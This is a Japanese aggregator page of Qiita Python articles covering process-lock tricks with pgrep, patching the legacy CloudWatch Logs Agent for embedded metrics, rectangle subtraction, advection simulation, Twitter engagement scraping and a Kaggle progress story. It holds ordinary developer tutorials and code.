20211201のPythonに関する記事は30件です。

pythonでpgrepして多重起動を防止する(走り書き)

※この記事は個人的なメモです pythonの多重起動を防止するのに,ファイルの存在でチェックしたり(例外で落ちてファイルが残る),ファイルのロックを使ったり(他プログラムからファイル自体を消されたり),専用のライブラリを導入したり(わざわざ?)等いろいろありますが,bashで多重起動をしないようにする方法をそのまま利用してしまえば早いし応用性が高い(perlでも似たようなことができる). コード main_code.py import os def main(): # main codes here. if __name__ == "__main__": pid = os.getpid() scriptname = os.path.basename(__file__) oldest_pid = int(os.popen(f"pgrep -fo {scriptname}").read()) if pid == oldest_pid: main() else: print("other process already running.") 結局やってること bashで言う下記のコードを実行してます. main_code.sh #!/bin/bash main(){ # main codes here. } pid=$$ scriptname=`basename $0` oldest_pid=`pgrep -fo $scriptname` if [ $pid == $oldest_pid ]; then main else echo "other process already running." fi 注意点 スクリプト名が一緒だと別のファイルでも実行制限に引っ掛かります(笑) 参考サイト https://docs.python.org/ja/3/library/os.html https://docs.python.org/ja/3/library/subprocess.html https://www.mk-mode.com/blog/2016/02/21/linux-bash-check-double-start/
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Lambda】【Python】import requestsで Unable to import module エラーが発生したとき解決方法

pip install requests -t . → ERROR: Can not combine '--user' and '--target' エラーが出たので取り急ぎターゲットディレクトリを指定せずにインストールしました。 pip install request だけのコマンドだったらいけました。 ただし、どこに保存されているのかな? pip install requests コマンドでインストールしたパッケージがどこにあるか確認するためには ↓
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS CloudWatch Logs Agentに埋め込みメトリクスを(力技で)導入する

TL; DR CloudWatch Agentが使えたら、そちらを使いましょう。 はじめに CloudWatch Logsには、埋め込みメトリクス (Embedded Metric) という機能が存在します。 こちらを利用すると、CloudWatch Logsに含まれる情報を、自動でCloudWatch Metricsへ転送してくれます。 ログファイルの構造とメトリクス抽出の設定を二重管理する必要がなくなるため、非常に便利な機能です。 高カーディナリティログの取り込みと CloudWatch 埋め込みメトリクスフォーマットによるメトリクスの生成 - Amazon CloudWatch 現在ではCloudWatch Agentを使用することが一般的ですが、かつては、CloudWatch Logs Agentというツールを使ってログファイルをCloudWatch Logsに送信していました。 名前が似ているので間違いやすいのですが、CloudWatch Logs Agentは旧ツールとなっており、使えなくなることが予想されます(と言われて数年経っているわけですが)。 このリファレンスは、廃止が予定されている古い CloudWatch Logs エージェント用です。代わりに統合 CloudWatch エージェントを使用することを強くお勧めします。エージェント詳細については、CloudWatch エージェントを使用して Amazon EC2 インスタンスとオンプレミスサーバーからメトリクスとログを収集するを参照してください。 CloudWatch Logs エージェントのリファレンス - Amazon CloudWatch Logs CloudWatch Logs Agentの開発は、埋め込みメトリクスが実装される前には既に終了しており、今後も埋め込みメトリクスが実装されるのは望み薄でしょう。 しかし、CloudWatch Agentが利用できないプラットフォームでは、現在でもCloudWatch Logs Agentを使わざるをえない、そういった状況も存在するかと思います。 そのような状況下、埋め込みメトリクスが使えたら便利だなぁと思うこともありますよね。 それでも、どうしても埋め込みメトリクスを使いたい! そんな時に、力技で利用可能にする方法を説明します。 CloudWatch Logs Agentに埋め込みメトリクスを導入する方法 以降、CloudWatch Logs Agentに埋め込みメトリクスを導入する方法を、補足を交えつつ説明します。 事前準備 CloudWatch Logs AgentはPython2.6以上Python3.6未満での実行を想定して書かれています。 また、事前にAWS-CLIはインストール済みである必要があります。 利用する際は、以下のコマンドでサーバー等にセットアップします。 CloudWatch-Logs-Agentをセットアップするスクリプト #!/usr/bin/bash function restart_cloudwatch_logs_agent() { if [ -f /etc/system-release ] && [ $(cat /etc/system-release | grep "Amazon Linux release 2" | wc -l) -eq 1 ]; then # OSがAmazon Linux 2の場合 sudo service awslogsd restart else # それ以外の場合 sudo service awslogs restart fi } # セットアップツールの導入 curl https://s3.amazonaws.com/aws-cloudwatch/downloads/latest/awslogs-agent-setup.py -O # セットアップの実行 sudo python awslogs-agent-setup.py --region ${REGION_NAME} # サービスのリスタート restart_cloudwatch_logs_agent() AWS Command Line Interface とは - AWS Command Line Interface AWS CLI のインストール、更新、アンインストール - AWS Command Line Interface CloudWatch Logs エージェントのリファレンス - Amazon CloudWatch Logs AmazonLinux2の判定方法 | ハックノート 本記事では、ログの送信は既にできているものとして話を進めます。 できていない場合は、AWSのドキュメントを参考に設定ファイルおよびIAMロールを設定してください。 そのままでは導入できない埋め込みメトリクス 本節は確認のための節であるため、埋め込みメトリクスの導入方法だけ知りたい場合は読み飛ばしても大丈夫です。 CloudWatch Logs Agentで送信する対象ログファイルに、以下のようなJSON形式の文字列を出力してみてください。 下記が正常に埋め込みメトリクスとして認識されていれば、 time が100のメトリクスとして登録されるはずです。 「埋め込みメトリクスフォーマットの例とJSONスキーマ」節に記載されているJSON例 { "_aws": { "Timestamp": 1574109732004, "CloudWatchMetrics": [ { "Namespace": "lambda-function-metrics", "Dimensions": [["functionVersion"]], "Metrics": [ { "Name": "time", "Unit": "Milliseconds" } ] } ] }, "functionVersion": "$LATEST", "time": 100, "requestId": "989ffbf8-9ace-4817-a57c-e4dd734019ee" } 仕様: 埋め込みメトリクスフォーマット - Amazon CloudWatch しかし実際には、CloudWatch Logsにログが送信されていることは確認できるものの、メトリクスは生成されません。 仕様と実装の確認そして導入 埋め込みメトリクスの仕様 まず、埋め込みメトリクスの仕様を確認してみましょう。 どうやら、APIのリクエストヘッダーに x-amzn-logs-format: json/emf を設定する必要があるみたいです。 仕様: 埋め込みメトリクスフォーマット - Amazon CloudWatch 実際、boto3ライブラリ(Pythonで利用可能なAWS-SDK)で埋め込みメトリクスを導入するには、以下のようなソースコードを書けば良いことがわかっています。 boto3ライブラリを利用して埋め込みメトリクスを送信するPython実装例 def add_emf_header(request, **kwargs): request.headers.add_header('x-amzn-logs-format', 'json/emf') print(request.headers) # Remove this after testing of course. # You can even do this with watchtower! Use this instead, client = watchtower_handler.cwl_client client = boto3.client('logs') client.meta.events.register_first('before-sign.cloudwatch-logs.PutLogEvents', add_emf_header) Injecting custom http headers in boto3 · Issue #2251 · boto/boto3 CloudWatch Logs Agentの実装 次に、CloudWatch Logs Agentの実装を確認してみましょう。 先駆者様方により、 /var/awslogs/lib/python/site-packages/cwlogs/push.py のソースコードが実行されていることが把握されています。 libディレクトリ名がlib64だったり、pythonディレクトリ名がpython2.6やpython3.5だったりするため、そこはセットアップした環境に合わせて適宜読み替えてください。 以降、 /var/awslogs/lib/python/site-packages ディレクトリまでのパスを ${PYTHON_PACKAGES} と書き替えて説明します。 クラス図およびシーケンス図で表現すると、以下の通りです。 説明に不要な要素(クラス、メソッド、メソッドの引数など)は省略しています。 ${PYTHON_PACKAGES}/cwlogs/push.py のLogsPushCommandクラス、および、継承元クラスである ${PYTHON_PACKAGES}/awscli/customizations/commands.py のBasicCommandクラスを確認すると、 BasicCommand::__call__() メソッド(フロー1)で呼出している ${PYTHON_PACKAGES}/cwlogs/push.py 183行目の LogsPushCommand::_run_main() メソッド(フロー2)で、pushコマンドを動かしていることが確認できます。 また、 ${PYTHON_PACKAGES}/cwlogs/push.py のWatcherクラス、Watcherクラスが呼出しているStreamクラス、Streamクラスが呼出しているEventBatchPublisherクラス、EventBatchPublisherクラスが継承しているPublisherクラス、Publisherクラスが継承している ${PYTHON_PACKAGES}/cwlogs/threads.py のBaseThreadクラスを確認すると、 BaseThread::run() メソッド(フロー19)で呼出している EventBatchPublisher::_run() メソッド(フロー20)で呼出している Publisher::_publish_event_batch() メソッド(フロー21)で呼出している Publisher::_put_log_events() メソッド(フロー22)内の1247行目 self.logs_service.put_log_events(**params) メソッド(フロー23)で、実際にログファイルをCloudWatch Logsに送信していることが確認できます。 同様に、Streamクラス、Streamクラスが呼出しているFileEventBatchReaderクラス、FileEventBatchReaderクラスが継承しているFileEventsReaderクラスを確認すると、 FileEventsReader::_run() メソッド(フロー26)でログファイルの変更を読込んでいることが確認できます。 複雑ですね。 CloudWatch Logsエージェントの中身を(途中まで)調べてみた | mooapp CloudWatch Logs Agentの中身を探してみた - Qiita CloudWatch Logs Agent の挙動について調べたことのまとめ - Qiita CloudWatch Logs Agentへの埋め込みメトリクスの導入方法 上記2点をまとめると、CloudWatch Logs送信時にヘッダーとして x-amzn-logs-format: json/emf を設定すれば良いですね。 ${PYTHON_PACKAGES}/cwlogs/push.py ファイルの LogsPushCommand::_run_main()メソッドは、以下のような実装になっているはずです。 非常にわかりづらいですが、 self.logs = self._session.create_client('logs', **client_args) で生成されている self.logs オブジェクトが、boto3(実際にはbotocore)で生成されたlogsクライアントです。 push.pyにおけるLogsPushCommandクラスの_run_mainメソッド(L183-L221) def _run_main(self, args, parsed_globals): # enable basic logging initially. This will be overriden if a python logging config # file is provided in the agent config. logging.basicConfig( level=logging.INFO, format=('%(asctime)s - %(name)s - %(levelname)s - ' '%(process)d - %(threadName)s - %(message)s')) for handler in logging.root.handlers: handler.addFilter(logging.Filter('cwlogs')) # Parse a dummy string to bypass a bug before using strptime in thread # https://bugs.launchpad.net/openobject-server/+bug/947231 datetime.strptime('2012-01-01', '%Y-%m-%d') client_args = { 'region_name': None, 'verify': None } if parsed_globals.region is not None: client_args['region_name'] = parsed_globals.region if parsed_globals.verify_ssl is not None: client_args['verify'] = parsed_globals.verify_ssl if parsed_globals.endpoint_url is not None: client_args['endpoint_url'] = parsed_globals.endpoint_url # Initialize services and append cwlogs version to user agent self._session.user_agent_extra += 'cwlogs/' + cwlogs.__version__ self.logs = self._session.create_client('logs', **client_args) # This unregister call will go away once the client switchover # is done, but for now we're relying on Logs catching a ClientError # when we check if a stream exists, so we need to ensure the # botocore ClientError is raised instead of the CLI's error handler. self.logs.meta.events.unregister('after-call', unique_id='awscli-error-handler') self._validate_arguments(args) # Run the command and report success if args.config_file: self._call_push_file(args, parsed_globals) else: self._call_push_stdin(args, parsed_globals) return 0 つまり、下記スクリプトを走らせて、push.pyファイルを書換えちゃえば使えることになります! push.pyファイルを書換えるスクリプト # ディレクトリパスを設定する PYTHON_PACKAGES="/var/awslogs/lib/python/site-packages" # 一応、push.pyのファイルが想定した文字列になっているかMD5で判定する echo "8efb83571499e29142adfa5e129f67da ${PYTHON_PACKAGES}/cwlogs/push.py" | md5sum -c if [ $? == 0 ]; then # 214行目に実行コードを書込む sed -i "214i \ self.logs.meta.events.register_first('before-sign.cloudwatch-logs.PutLogEvents', lambda request, **kwargs: request.headers.add_header('x-amzn-logs-format', 'json/emf'))" ${PYTHON_PACKAGES}/cwlogs/push.py else echo "ERROR: push.py file is invalid!" fi # awslogs/awslogsdのリスタートも忘れずに restart_cloudwatch_logs_agent() 上記スクリプト実行後のpush.pyにおけるLogsPushCommandクラスの_run_mainメソッド(L213-L215) self.logs.meta.events.unregister('after-call', unique_id='awscli-error-handler') + self.logs.meta.events.register_first('before-sign.cloudwatch-logs.PutLogEvents', lambda request, **kwargs: request.headers.add_header('x-amzn-logs-format', 'json/emf')) self._validate_arguments(args) 動作確認として、先ほどと同様のJSON形式でログ出力してみてください。 CloudWatch Metricsにメトリクスが出現しているはずです。 おわりに 開発が終了しているライブラリだからこそできる、かなり無理矢理な方法でした。 CloudWatch Logs Agentは、いつ利用できなくなるかもわからないので、気をつけながら使いましょう。 CloudWatch Agentが利用できるにも関わらずCloudWatch Logs Agentを利用している場合は、今すぐ移行することをオススメします。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

矩形どうしの引き算

矩形どうしの引き算をするプログラム  対象の矩形から、ある矩形でくり抜いて、対象の矩形上にある残りの領域を返すプログラムです。 例えば、 ①下の図(左)の「黒矩形」マイナス「青矩形」 ⇒緑矩形が出力される。 実際の計算としては、以下となる。矩形はひとつである。 [0,0,20,20] - [10,0,20,20] = [[0,0,10,20]] ※[xmin, ymin, xmax, ymax] ②下の図(左)の「黒矩形」マイナス「青矩形」 ⇒緑矩形が出力される。 実際の計算としては、以下となる。矩形が4つに分かれる。 [0,0,20,20] - [5,5,15,15] = [[0,0,5,20], [15,0,20,20], [5,0,15,5], [5,15,15,20]] ※[xmin, ymin, xmax, ymax] ソースコード minusBox.py def minusBox(minusedBox:list, minusBox:list): xmin1 = minusedBox[0] ymin1 = minusedBox[1] xmax1 = minusedBox[2] ymax1 = minusedBox[3] xmin2 = minusBox[0] ymin2 = minusBox[1] xmax2 = minusBox[2] ymax2 = minusBox[3] if xmax1 > xmin2 and xmax2 > xmin1 and ymax1 > ymin2 and ymax2 > ymin1: pass else: #print("boxs don't cross!") return None # search containing point delBox_direH, delBox_direV = None, None # search horizon if(xmin1 < xmin2 and xmin2 < xmax1): delBox_direH = "r" if(xmin1 < xmax2 and xmax2 < xmax1): delBox_direH = "l" if(xmin1 < xmin2 and xmax2 < xmax1): delBox_direH = "i" if(xmin2 <= xmin1 and xmax1 <= xmax2): delBox_direH = "c" # search vertical if(ymin1 < ymin2 and ymin2 < ymax1): delBox_direV = "d" if(ymin1 < ymax2 and ymax2 < ymax1): delBox_direV = "u" if(ymin1 < ymin2 and ymax2 < ymax1): delBox_direV = "i" if(ymin2 <= ymin1 and ymax1 <= ymax2): delBox_direV = "c" # triming boxes deledBoxs = [] if(delBox_direH == "r"): deledBoxs.append([xmin1, ymin1, xmin2, ymax1]) if(delBox_direV == "u"): deledBoxs.append([xmin2,ymax2,xmax1,ymax1]) if(delBox_direV == "d"): deledBoxs.append([xmin2,ymin1,xmax1,ymin2]) if(delBox_direV == "i"): deledBoxs.append([xmin2,ymin1,xmax1,ymin2]) deledBoxs.append([xmin2,ymax2,xmax1,ymax1]) if(delBox_direV == "c"): pass if(delBox_direH == "l"): deledBoxs.append([xmax2, ymin1, xmax1, ymax1]) if(delBox_direV == "u"): deledBoxs.append([xmin1, ymax2, xmax2, ymax1]) if(delBox_direV == "d"): deledBoxs.append([xmin1, ymin1, xmax2, ymin2]) if(delBox_direV == "i"): deledBoxs.append([xmin1, ymin1, xmax2, ymin2]) deledBoxs.append([xmin1, ymax2, xmax2, ymax1]) if(delBox_direV == "c"): pass if(delBox_direH == "i"): deledBoxs.append([xmin1, ymin1, xmin2, ymax1]) deledBoxs.append([xmax2, ymin1, xmax1, ymax1]) if(delBox_direV == "u"): deledBoxs.append([xmin2, ymax2, xmax2, ymax1]) if(delBox_direV == "d"): deledBoxs.append([xmin2, ymin1, xmax2, ymax1]) if(delBox_direV == "i"): deledBoxs.append([xmin2, ymin1, xmax2, ymin2]) deledBoxs.append([xmin2, ymax2, xmax2, ymax1]) if(delBox_direV == "c"): pass if(delBox_direH == "c"): if(delBox_direV == "u"): deledBoxs.append([xmin1, ymax2, xmax1, ymax1]) if(delBox_direV == "d"): deledBoxs.append([xmin1, ymin1, xmax1, ymin2]) if(delBox_direV == "i"): deledBoxs.append([xmin1, ymin1, xmax1, ymin2]) deledBoxs.append([xmin1, ymax2, xmax1, ymax1]) return deledBoxs # box:[xmin, ymin, xmax, ymax] p = [0, 0, 20, 20] n = [5, 0, 20, 20] print(p,"-",n,"=",minusBox(p,n)) p = [0, 0, 20, 20] n = [5, 5, 15, 15] print(p,"-",n,"=",minusBox(p,n)) 計算結果  最初に述べた「例①と②」の結果が得られるのが分かる。 result [0, 0, 20, 20] - [5, 0, 20, 20] = [[0, 0, 5, 20]] [0, 0, 20, 20] - [5, 5, 15, 15] = [[0, 0, 5, 20], [15, 0, 20, 20], [5, 0, 15, 5], [5, 15, 15, 20]]
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

2次元輸送方程式の数値計算(Gaussian Hill問題)

はじめに  今回は2次元のスカラー移流方程式について、Gaussian Hill問題と呼ばれるガウス分布がx,y方向に一定速度で移動する様子をアニメーションとして描画してみる。 支配方程式  2次元スカラー移流方程式は、 \frac{\partial{q}}{\partial{t}}+c\frac{\partial{q}}{\partial{x}}+d\frac{\partial{q}}{\partial{y}}=0 ここで、$c$および$d$が正の実数であるとする。一次精度風上法を利用すると、 q^{n+1}_{j,k}=q^{n}_{j,k}-c\Delta{t}\frac{q^{n}_{j,k}-q^{n}_{j-1,k}}{\Delta{x}}-d\Delta{t}\frac{q^{n}_{j,k}-q^{n}_{j,k-1}}{\Delta{y}} 今回は$c=d=1.0$、$\Delta{x}=\Delta{y}=1.0$として計算を行った。 プログラム from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import numpy as np import matplotlib.animation as animation c = 1.0 d = 1.0 dt = 0.05 dx = 0.1 dy = 0.1 jmax = 41 kmax = 41 nmax = 50 ims = [] def init(dx, dy, jmax, kmax): x = np.linspace(0, dx * (jmax-1), jmax) y = np.linspace(0, dy * (kmax-1), kmax) q = init_q(x, y, jmax, kmax) return (x, y, q) def init_q(x, y, jmax, kmax): def gausfunc(x, y, mu, V): detV = np.linalg.det(V) invV = np.linalg.inv(V) A = 1.0 / (2*np.pi*np.sqrt(detV)) dX = (np.array([x, y]) - mu[:, None, None]).transpose(1, 2, 0) return A * np.exp(-0.5 * dX[:,:, None] @ invV[None, None] @ dX[:,:,:, None]) mu = np.array([dx * jmax / 4, dy * kmax / 4]) V = np.array([[dx * jmax / 40, 0], [0, dy * kmax / 40]]) X, Y = np.meshgrid(x, y) q = gausfunc(X, Y, mu, V)[:, :, 0, 0] return q def do_computing(x, y, q, dt, dx, dy, nmax, interval = 2): X, Y = np.meshgrid(x, y) fig = plt.figure(figsize=(10, 7), dpi=100) # グラフのサイズ plt.rcParams["font.size"] = 10 # グラフの文字サイズ # 初期分布の可視化 ax1 = fig.add_subplot(1, 1, 1, projection='3d') ax1.set_xlabel('x') ax1.set_ylabel('y') for n in range(1, nmax + 1): qold = q.copy() for j in range(1, jmax - 1): for k in range(1, kmax - 1): 式(2) q[j][k] = qold[j][k] - dt / dx * ( c * (qold[j][k] - qold[j-1][k]) + d * (qold[j][k] - qold[j][k-1]) ) im = ax1.plot_wireframe(X,Y,q, color = "black", rstride = 1, cstride = 1, linewidth = 0.5) ims.append([im]) ani = animation.ArtistAnimation(fig, ims) plt.show() x, y, q = init(dx, dy, jmax, kmax) do_computing(x, y, q, dt, dx, dy, nmax) これを実行すると、以下のアニメーションが得られ、ガウスプロファイルの輸送の様子がみられる。 こんな感じ↓ 参考文献 藤井孝蔵、立川智章、Pythonで学ぶ流体力学の数値計算法、2020/10/20
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

人々は一年のどのタイミングで時の流れの速さを感じるのか

この記事はTSG Advent Calendar 2021の1日目の記事です。 時が経つのははやい 気付けばもう12月ですね。もう2021年の91%が終わったそうですよ。 2021 is 91% complete. pic.twitter.com/yX1LBkYJo0— Progress Bar 2021 (@ProgressBar202_) November 29, 2021 ところでこのProgress Barボット、たまにTLで流れてくるのを見かけますが、パーセンテージによって反応の大きさに差があるようです。こいつをリツイートするときというのは基本的に「もうそんなに経ったの!?」と感じた時だと思うのですが、人々は一年の何%が過ぎ去った時にこのボットをリツイートしたがるのか調べてみました。 データを収集する Twitter APIは良く知らないので手元のDevToolsを使い気合いでスクレイピングします。 2021/12/01現在でのツイッター画面は、スクロールしていくと画面外に出たツイートのDOMは削除され、新しく表示するべきツイートのDOMが生成されるようです。そこでそのイベントを検知するスクリプトを実行し、手でスクロールしながら情報を収集していくことにします。 // <div area-label="タイムライン: Progress Bar 2021さんのツイート" class="css-1dbjc4n"> // この子ノードにツイートが詰められている const elm = document.querySelector("#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > div > div > div:nth-child(2) > div > div > div:nth-child(3) > section > div"); const tweets = new Set(); const observer = new MutationObserver((mutationList, _) => { for (let record of mutationList) { for (let node of record.addedNodes) { if (node.innerText.includes("@ProgressBar202_")) { // 例:"Progress Bar 2021\n@ProgressBar202_\n·\n11月18日\n2021 is 88% complete.\n115\n4,668\n2.8万" const text = node.innerText; tweets.add(text); } } } }); observer.observe(elm.children[0], {childList: true}); これをDevToolsで実行した後、気の済むまでスクロールします。今回は2018年の12月まで集めました。 そして const tweetsArr = Array.from(tweets); を実行して現れた配列を右クリックでコピーします。 可視化 ここからはPythonを使って可視化します。先ほどコピーした配列をPythonに持ってきます。 tweets = [ "Progress Bar 2021\n@ProgressBar202_\n·\n11月14日\n2021 is 87% complete.\n77\n4,427\n2.6万", "Progress Bar 2021\n@ProgressBar202_\n·\n11月11日\n2021 is 86% complete.\n114\n4,444\n2.7万", "Progress Bar 2021\n@ProgressBar202_\n·\n11月7日\n2021 is 85% complete.\n137\n7,648\n3.9万", "Progress Bar 2021\n@ProgressBar202_\n·\n11月3日\n2021 is 84% complete.\n84\n4,693\n2.7万", ... これをいい感じのregexで成形し、pandasで表にします。今回日本語環境で収集したので数に「万」が付いてしまっているのでこれにも気を付けます。 import re import pandas as pd table = {"year": [], "percent": [], "reply": [], "RT": [], "fab": []} def parse(x): if x[-1] == "万": return int(float(x[:-1]) * 10000) elif "," in x: return int(x.replace(",","")) else: return int(x) for tw in tweets: m = re.search(r"(\d+).* is (\d+)%.*\n(.*)\n(.*)\n(.*)", tw) table["year"].append(int(m[1])) table["percent"].append(int(m[2])) table["reply"].append(parse(m[3])) table["RT"].append(parse(m[4])) table["fab"].append(parse(m[5])) df = pd.DataFrame(table) 実は2019年4月付近にツイートに誤植がある時期がありました。これを手で修正します。 """ 'Progress Bar 2021\n@ProgressBar202_\n·\n2019年4月2日\nApologies for my previous post. 2019 (Two thousand and *nineteen*) is 25% complete.\n114\n3,858\n1.2万', 'Progress Bar 2021\n@ProgressBar202_\n·\n2019年3月29日\n2018 is 24% complete.\n286\n3,160\n1.3万' """ df.iloc[269].year = 2019 結果を可視化して見ます plt.figure(figsize=(15, 10)) plt.subplot(2,1,1) for year in [2018, 2019, 2020, 2021]: data = df[df.year == year].sort_values("percent") plt.plot(data.percent, data.RT, ".-", label="%d"%year) plt.legend() plt.xlabel("%") plt.xticks(range(0, 101, 10)) plt.title("# of RTs") plt.subplot(2,1,2) for year in [2018, 2019, 2020, 2021]: data = df[df.year == year].sort_values("percent") plt.plot(data.percent, data.fab, ".-", label="%d"%year) plt.legend() plt.xlabel("%") plt.xticks(range(0, 101, 10)) plt.title("# of fabs") plt.show() ピークは 0%, 100% (元日) 10% 20% 25% 50% 69% 75% 80% 90% 99% (年末) であり、50%は新年とおなじくらい盛り上がっていることが分かりました。 不思議ポイントとしてはなぜか70%ではなく69%(9月10日付近)でRT/fabが増えている点でしょうか。「1年の7割が過ぎた」ではなく「1年の7割が過ぎそう」であることの方が人々にとっては感慨深いようです。 まとめ TwitterのProgress Barボット(ProgressBar202_)のRT/fab数をスクレイピングして人々がいつこれに反応しているのかを調べました。基本的にはキリのいい数字になった時か新年に盛り上がっているようですが、7割時点の場合のみ69%で反応が大きくなっているようでした。タイトルの結論は「1年の69%が経つと人々は時の流れの速さを感じる」ということにしようと思います。 --追記-- どうも海外にそういうミーム(下ネタ)があるっぽいです。的外れな考察をしてしまった...結論は50%に変えておきます。 解説:https://www.dailydot.com/unclick/69-nice-meme-twitter/ やたら反応の大きいChrome新バージョン告知:https://twitter.com/ChromiumDev/status/1037022478927912961
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Kaggle】とあることから2か月弱でkaggle Expertへ

この記事は、Kaggle Advent Calender 2021 の16日目の記事です 0.はじめに Advent Calender へは初めて参加いたします。 kaggle を題材に何らか執筆するのも初めてですので、大変神妙な気分です。 今日はみなさまに向けて、私がとあることを始めて2か月弱でkaggle Expert になった経緯を記します。 これからkaggleを始める方、始めて間も無い方や、なかなかメダルが獲得できずにモチベーション維持に悩みを持つ方々に参考になれば。 1.背景 kaggleには2021年7月にアカウントを作成していましたが、チュートリアルの流れで、タイタニック号の生存者予測をしたくらいでした。 そこから約ひと月は何もせずに放置状態でしたし、8月も中旬に入ってからも当時開催中であったコンペにて公開notebookをそのままcopy&submitするというくらいでした。 本格的に?kaggleに向き合ったのは 「30days of ML」 が開催された9月。 ここでも、予測結果はLeaders Board(以下、LB)の遥か下のほうに載る程度です。 続いて参加したコンペも、同様にpublic scoreを上げられずに、LBでは下位を彷徨うのが精いっぱいでした。 2.転機 kaggleを始めてすぐに購入していた、『Kaggleで勝つデータ分析の技術』(技術評論社) を再度読み込んだことです。 章ごとにコンパクトにポイントがまとめられており、かつ、サンプルコードも記載されていることで、kaggleにおけるテーブルデータ・コンペの対策について理解を深めるに至りました。 それまでは、公開notebookをcopyしてきては充分にコードの内容を理解もせずに、僅かにコードを修正しただけでsubmitしていましたので、public scoreも上がる訳がありません。 scoreが上がらなければ、モチベーションの維持も難しくなります。 しかし、上述の書籍を読み込み、サンプルコードを参考にしつつも自身でイチからコードを組むことにより、コードへの理解もすすみ、scoreはなかなか上がらなかったものの、コンペに参加するモチベーションを維持できるようになりました。 3.きっかけ 公開notebookに対して、コンペ参加者からupvoteすることができます。 コンペの後半にLB上位に入るnotebookを公開すると、瞬く間にupvoteされていき、そのnotebookにbronze→silver→goldとメダルの色が変わっていきます。 この仕組みをしっかり理解した際に、ダメ元で自身が作成したnotebookを公開してみようと思ったのが、標題に至ったきっかけです。 さすがに、kaggleをはじめて3か月ほど、かつ、大学も文系学部出身で統計学や情報工学を学んだ訳でもなく、データ分析の初心者の初心者に、LBで上位に食い込むようなnotebookは作れません!? ならば、コンペの序盤に、何の工夫も特徴も無いベースまたはプロトタイプといったnotebookを公開しても、少しではあれどupvoteしてもらえるのではと考えました。 (事実、コンペの序盤にはそういったnotebookでもupvoteされていることには気付いていました。) 4.結果 9月の後半に、恐る恐るでしたが、とあるコンペにて実際に自身でイチから作成したベースと言うべきnotebookを公開してみました。 本当に簡単なつくりの特段の工夫も無いnotebookです。 しかしながら、公開して数日間でupvote=6を記録してbrozeメダル ?を獲得するに至りました。 コンペではメダルを獲得していませんでしたので、(discussion以外では)初のメダル獲得 ?です! ヤッタネ!!? 続けて、同じコンペでCross Validationを加えたり、学習器を変えたり(GBDT、線形回帰、ニューラルネットワーク)したnotebookを公開すると、それらも日をかけて徐々にupvoteが増えていきました。 また、予測結果ファイル(例:submission.csv)のみ提出するタイプのコンペでは、Google Collaboratoryで学習・予測を実行するための特別な処理・設定を入れたnotebookも公開しました。 ※kaggle APIを利用して、予測ファイルの提出を自動化しました。 嬉しいことに、こちらも少しずつupvoteを頂きました。   別のコンペに入っても、序盤に幾つかのベースとなるnotebookを公開することで、upvoteを得ることができました。 11月の中旬、bronzeメダル 5つ?????を獲得して、Notebooks Expert への昇格を果たしました!! ⇒ 2021年12月1日現在、公開したnotebook:11本、総獲得upvote:101   notebookを公開しはじめてからここまで、2か月弱。 Conpetition Expert ではありませんが、立派な Expert です! (自惚れ?) まだコンペでメダルを獲得していない方は、notebookを公開することでメダルを獲得してみませんか? 5.今後の目標 もちろん、コンペでのメダル獲得×2 ⇒ Conpetition Expert昇格 です! より一層、機械学習の理解を深め、コンペの対策を詰めて、LB上位に登れるよう精進いたします。   2021年12月1日 現在のkaggle profile:   -参考- 公開したnotebookの一部  ★private sharingに抵触しないよう、一部、コンペ固有の情報は伏せてあります。 kaggle kernel用 # Libraries !pip install -U lightautoml import numpy as np import pandas as pd import matplotlib.pyplot as plt %matplotlib inline import torch from lightautoml.automl.presets.tabular_presets import TabularAutoML from lightautoml.tasks import Task import os for dirname, _, filenames in os.walk('/kaggle/input'): for filename in filenames: print(os.path.join(dirname, filename)) # Warningの無効化 import warnings warnings.filterwarnings("ignore") # データフレームcolumの全表示 pd.set_option("display.max_columns", None) # for reproducibility np.random.seed(RANDOM_STATE) torch.set_num_threads(N_THREADS) # Load Data DEBUG = False train = pd.read_csv("../input/xxxxxxxxxx/train.csv") test = pd.read_csv("../input/xxxxxxxxxx/test.csv") submission = pd.read_csv("../input/xxxxxxxxxx/sample_submission.csv") if DEBUG: train = train[:80*1000] train.shape, test.shape, submission.shape display(train) test["pressure"] = 0 display(test) # Add Feature def add_features(df): # (省略) return df train = add_features(train) test = add_features(test) # LightAutoML model building task = Task("reg", loss="mae", metric="mae") roles = { 'drop': "id", 'group': "breath_id", # for group k-fold 'target': TARGET_NAME } %%time # Fitting automl = TabularAutoML(task=task, timeout=TIMEOUT, cpu_limit=N_THREADS, reader_params={"n_jobs": N_THREADS, "cv": N_FOLDS, "random_state": RANDOM_STATE}, general_params={"use_algos": [["lgb", "lgb_tuned", "linear_l2"]]}, tuning_params={"max_tuning_time": 1800} ) automl.fit_predict(train, roles=roles) # Prediction test_pred = automl.predict(test) display(test_pred) submission[TARGET_NAME] = test_pred.data[:, 0] fi_score = automl.get_feature_scores("fast").sort_values("Importance", ascending=True) plt.figure(figsize=(10, 30)) fi_score.set_index("Feature")["Importance"].plot.barh(fontsize=16) plt.title("Feature importance", fontsize=18) plt.show() display(submission) submission.to_csv("submission.csv", index=False)   Google Colaboratory用 # Libraries !pip install kaggle import numpy as np import pandas as pd import tensorflow as tf import gc import matplotlib.pyplot as plt %matplotlib inline from tensorflow import keras from tensorflow.keras.layers import * from tensorflow.keras import * from tensorflow.keras.callbacks import LearningRateScheduler from tensorflow.keras.optimizers.schedules import ExponentialDecay from sklearn.preprocessing import RobustScaler, normalize from sklearn.model_selection import train_test_split, KFold from sklearn.metrics import mean_absolute_error from pickle import load import os # Warningの無効化 import warnings warnings.filterwarnings("ignore") # データフレームcolumの全表示 pd.set_option("display.max_columns", None) # Load Data from google.colab import files uploaded = files.upload() for fn in uploaded.keys(): print("User uploaded file '{name}' with length {length} bytes".format( name=fn, length=len(uploaded[fn]))) # Then move kaggle.json into the folder where the API expects to find it. ## !mkdir -p ~/.kaggle/ && mv kaggle.json ~/.kaggle/ && chmod 600 ~/.kaggle/kaggle.json !kaggle competitions list !kaggle competitions download -c xxxxxxxxxx DEBUG = False train = pd.read_csv(r"../content/train.csv.zip") test = pd.read_csv(r"../content/test.csv.zip") submission = 